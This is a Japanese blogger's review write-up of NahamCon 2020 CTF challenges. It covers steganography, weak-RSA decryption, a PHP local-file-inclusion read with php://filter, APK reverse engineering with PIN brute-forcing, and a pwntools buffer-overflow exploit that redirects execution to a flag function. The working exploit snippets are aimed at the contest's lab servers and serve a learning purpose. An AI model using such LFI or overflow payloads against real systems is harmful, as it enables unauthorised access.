NahamCon (in 2020) CTF 復習編 その2
昔やっていた頃よりステガノが技術も問題もめっちゃ増えてるなぁ、という印象です。
(昔はstegsolveくらいしかなかった)
ツールが沢山あって、それぞれ何をやってるのか全くわかっていないので、とりあえず写経しておく感じです…
あと、revやpwnやってると、できるようになりたいけどどうやって学んだらいいかわからない、できる人の言ってることが理解できない、CTF参加しても1問も解けない…みたいな地獄時代を思い出します。
情報系出身じゃないので学ぶ場も下地も無かったんです。
だからもしCTFで同じように悩んでる人がいたら一緒に学びたいと思うBBAです。
Walkman (Steganography)
このツールで適当なLSBを指定してデコードできた。
$ python wav-steg-py/wav-steg.py -r -s wazaaa.wav -o output.txt -n 1 -b 1024 Data recovered to output.txt text file $ grep -a flag output.txt flag{do_that_bit_again}
LSBを取ってるだけかと思いきや、stego-lsb等では解けなかった。うーん…
flag: flag{do_that_bit_again}
Old School (Steganography)
zsteg -a
で複数のメソッドを試すとデコードできるものがある。
GitHub - zed-0xff/zsteg: detect stegano-hidden data in PNG & BMP
$ zsteg -a hackers.bmp imagedata .. text: "348>?CFGKIJNRSWJKOcbdcbdUTVdceGFHCBD" b1,r,lsb,xy .. file: MacBinary, Mon Feb 6 15:28:16 2040 INVALID date, modified Mon Feb 6 15:28:16 2040 "]??܇̇?????" b1,r,msb,xy .. file: MacBinary, Mon Feb 6 15:28:16 2040 INVALID date, modified Mon Feb 6 15:28:16 2040 "?{?;?3??#??;????" b1,bgr,lsb,xy .. text: "4JCTF{at_least_the_movie_is_older_than_this_software}" (snip)
flag: JCTF{at_least_the_movie_is_older_than_this_software}
Twinning (Cryptography)
RSA公開鍵が渡される問題。
$ nc jh2i.com 50013 Generating public and private key... Public Key in the format (e,n) is: (65537,67858515066383) The Encrypted PIN is 62671227082359 What is the PIN? 7426 Good job you won! flag{thats_the_twinning_pin_to_win}
正しいPINを送り返せればフラグ。
接続に時間制限はないしNの値も小さいのでfactordbと手元でゆっくりdecryptした。
from Crypto.Util.number import inverse n = 67858515066383 e = 65537 c = 62671227082359 p = 8237627 q = 8237629 phi = (p-1) * (q-1) d = inverse(e, phi) m = pow(c, d, n) print(m) # -> 7426
flag: flag{thats_the_twinning_pin_to_win}
Ooo-la-la (Cryptography)
これもRSA。factordbで素因数分解できたので、上記同様に解けた。
from Crypto.Util.number import inverse, long_to_bytes N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091 e = 65537 c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983 p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207 q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213 phi = (p-1) * (q-1) d = inverse(e, phi) m = pow(c, d, N) print(long_to_bytes(m))
flag: flag{ooo_la_la_those_are_sexy_primes}
Phphonebook
Sorry! You are in /index.php/?file=
The phonebook is located at phphonebook.php
と言われるので、http://jh2i.com:50002/index.php/?file=phphonebook.php
にアクセスすると、Welcomeと言われる。
LFI(Local File Inclusion)の脆弱性がある。
Local File Inclusion (LFI) — Web Application Penetration Testing
phpのフィルタ機能を使ってソースコードを閲覧することができる。
index.phpのソースコード(base64エンコードされたもの)を取得するにはhttp://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=index.php
にアクセスする。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> <?php $file=$_GET['file']; if(!isset($file)) { echo "Sorry! You are in /index.php/?file="; } else { include(str_replace('.php','',$_GET['file']).".php"); die(); } ?> <p>The phonebook is located at <code>phphonebook.php</code></p> <div style="position:fixed; bottom:1%; left:1%;"> <br><br><br><br> <b> NOT CHALLENGE RELATED:</b><br>THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF! <p> <img width=600px src="https://d24wuq6o951i2g.cloudfront.net/img/events/id/457/457748121/assets/f7da0d718eb77c83f5cb6221a06a2f45.inti.png"> </p> </div> </body> </html>
パラメータ(ファイル)の".php"を削除し、再度".php"をくっつけたファイルをインクルードするコード。
開催期間中はここで止まってしまったんだけど、phphonebook.phpの方も見てみれば良かったみたい。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1> <div id="im_container"> <img src="book.jpg" width="50%" height="30%"/> <p class="desc"> This phphonebook was made to look up all sorts of numbers! Have fun... </p> </div> <br> <br> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div> <div id="php_container"> <?php extract($_POST); if (isset($emergency)){ echo(file_get_contents("/flag.txt")); } ?> </div> </br> </br> </br> <div style="position:fixed; bottom:1%; left:1%;"> <br><br><br><br> <b> NOT CHALLENGE RELATED:</b><br>THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF! <p> <img width=600px src="https://d24wuq6o951i2g.cloudfront.net/img/events/id/457/457748121/assets/f7da0d718eb77c83f5cb6221a06a2f45.inti.png"> </p> </div> </body> </html>
$emergencyに値が入っていて、POSTであればよいらしい。
$ curl -X POST --data "emergency=119" "http://jh2i.com:50002/phphonebook.php" (snip) <div id="php_container"> flag{phon3_numb3r_3xtr4ct3d} </div> (snip)
flag: flag{phon3_numb3r_3xtr4ct3d}
Cow Pie (Forensics)
配布ファイルが壊れてるっぽくて解けない(Discordで議論されてたので多分…)。
writeupではstringsで解けると書かれているが、フラグは出てこなかった。
一応ちゃんとフォレンジックする方法をメモしておく。
仮想イメージからファイルを取り出す エラーを吐いたVMからファイルを救え - 4ensiX
上記を参考に、qcow2ファイルからrawファイルに変換して、FTK Imagerで読み込む。
"C:\Program Files\qemu\qemu-img.exe" convert -f qcow2 manure -O raw manure.raw
左上の"Add Evidence Item" -> "Image File"でrawファイルを指定。
flag.txtは削除されているが、FTK Imagerのようなフォレンジックツールであればサルベージできる。
または、flag.txtのファイルサイズが小さい場合は、$I30ファイル(インデックスファイル)に中身が保存されていることもある。
その辺を使って解くのかなぁ。
Secure Safe (mobile)
今までdex2jarを使ってデコンパイルしていたが、リソースの指定が数値だったり、リソースのデコンパイルは別でapktoolでする必要があり、突き合わせが難しかった。
下記のサイトを使うとそれらを解消してデコンパイルしてくれるので便利。
(ただ、JD-GUIで見た際に関数のリンクが切れてしまうものもある)
Decompiler.com - Java / Python / Android decompiler online
com.congon4tor.nahamcon2.MainActivityに下記の関数がある。
public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); String string = getString(R.string.encrypted_flag); this.p = (TextView) findViewById(R.id.flagTV); ((Button) findViewById(R.id.submit)).setOnClickListener(new a(string, (EditText) findViewById(R.id.pin)));
$ grep -r encrypted_flag resources resources/res/values/public.xml: <public type="string" name="encrypted_flag" id="2131492892" /> resources/res/values/strings.xml: <string name="encrypted_flag">UFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U=</string>
encrypted_flagの値はUFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U=
ということがわかる。さらに、同じMainActivity内、
public void onClick(View view) { String[] strArr = {this.f532b, this.c.getText().toString()}; new b.b.a.a.a(MainActivity.this).execute(new String[][]{strArr}); }
次にb.b.a.a.a
public final byte[] a(byte[] bArr, byte[] bArr2) { byte[] bArr3 = new byte[bArr.length]; for (int i = 0; i < bArr.length; i++) { bArr3[i] = (byte) (bArr[i] ^ bArr2[i % bArr2.length]); } return bArr3; } public Object doInBackground(Object[] objArr) { String[][] strArr = (String[][]) objArr; String str = strArr[0][0]; String str2 = strArr[0][1]; try { MessageDigest instance = MessageDigest.getInstance("SHA-1"); instance.update("5up3r_53cur3_53cr37".getBytes("UTF-8")); instance.update(str2.getBytes("UTF-8")); return new String(a(Base64.decode(str, 0), new BigInteger(1, instance.digest()).toString(16).getBytes())); } catch (UnsupportedEncodingException | NoSuchAlgorithmException e) { e.printStackTrace(); return "Error decrypting"; } } public void onPostExecute(Object obj) { String str = (String) obj; super.onPostExecute(str); this.f531a.p.setText(str); }
と見ていくと、AsyncTaskを使ったコードに暗号化している部分が見つかる。開催期間中はこのコードが読めなくて断念した…。
解読して実装する力も必要だけど、今あるコードを流用すればいい。
iimport java.util.Base64; import java.io.UnsupportedEncodingException; import java.math.BigInteger; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public class decrypt { public static final byte[] a(byte[] bArr, byte[] bArr2) { byte[] bArr3 = new byte[bArr.length]; for (int i = 0; i < bArr.length; i++) { bArr3[i] = (byte) (bArr[i] ^ bArr2[i % bArr2.length]); } return bArr3; } public static Object doInBackground(Object[] objArr) { String[][] strArr = (String[][]) objArr; String str = strArr[0][0]; String str2 = strArr[0][1]; try { MessageDigest instance = MessageDigest.getInstance("SHA-1"); instance.update("5up3r_53cur3_53cr37".getBytes("UTF-8")); instance.update(str2.getBytes("UTF-8")); return new String(a(Base64.getDecoder().decode(str), new BigInteger(1, instance.digest()).toString(16).getBytes())); } catch (UnsupportedEncodingException | NoSuchAlgorithmException e) { e.printStackTrace(); return "Error decrypting"; } } public static void main(String[] args) { for (int i = 0; i <= 9999; i++){ String encrypted_flag = "UFhYVUt2VmdqEFALbiNXRkZvVQtTQxwSTVABe0U="; String pin = String.format("%04d", i); String[][] str = {{encrypted_flag, pin}}; String flag = (String)doInBackground(str); if (flag.startsWith("flag{")) System.out.println("pin:" + pin + ", " + flag); } } }
pin:3952, flag{N0T_th3_B3st_3ncrypt10N}
flag: flag{N0T_th3_B3st_3ncrypt10N}
Big Bird (Scripting)
GetOldTweets3で過去のツイートをcsv形式で取得できる。
$GetOldTweets3 --username "BigBird01558595" Downloading tweets... Saved 402 Done. Output file generated "output_got.csv".
import struct with open('output_got.csv', 'r') as f: data = f.readlines() data.pop(0) d = {} for line in data: d1 = line.split(',')[6] d2 = d1.split(' ') d[d2[1][1:]] = d2[2][:len(d2[2])-1] d_sort = sorted(d.items(), key=lambda x:int(x[0])) with open('out.bin', 'wb') as f: for di in d_sort: f.write(struct.pack("B", int(di[1])))
これでpngファイルになる。見てみるとQRコードなので、読み取ればフラグ。
flag: flag{big_bird_tweets_big_tweets}
スクリプト問題は辿々しすぎて見ててやきもきされると思いますが暖かく見守っていただければ幸い…。
Dangerous (Binary Exploitation)
フラグ表示用の関数が用意されてる(0x40130eから始まる部分)。優しい。
(ところで、今までpltが何だかわかってなくて、今回のようにpltをIDAが名前付けしてくれない場合詰んでたんですが、ハリネズミ本少し齧って、
Objdumpの結果からpltに名前付けたら上記のように見やすくなりました。ハリネズミ本良いです(まだ全然読めてない))
main関数のreturnをここに飛ばせば良い。
gdb-pedaでpattc->pattoで、入力文字の497番目以降がreturn先のアドレスとなることがわかったので、ここにさっきのアドレスを入れればよい。
from pwn import * io = remote('jh2i.com', 50011) payload = b'A'*497 + p64(0x40130e) s = io.read(2048) io.send(payload) s = io.read(2048) print(s)
これで表示される文字の中にフラグが含まれている。
b"It's dangerous to go alone! Take this, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n \x1b[0;31m\xe2\x96\x88\x1b[0m \n \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \n \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \n \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \n \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \n \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \n \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \n \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \n \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \n \x1b[0;31m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \n \x1b[0;32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m\n \x1b[0;32m\xe2\x96\x88\x1b[0m \x1b[0;33m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \x1b[0;32m\xe2\x96\x88\x1b[0m\n \x1b[1;32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \n \x1b[0;33m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \n \x1b[1;32m\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\x1b[0m \n\nflag{legend_of_zelda_overflow_of_time}\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"
flag: flag{legend_of_zelda_overflow_of_time}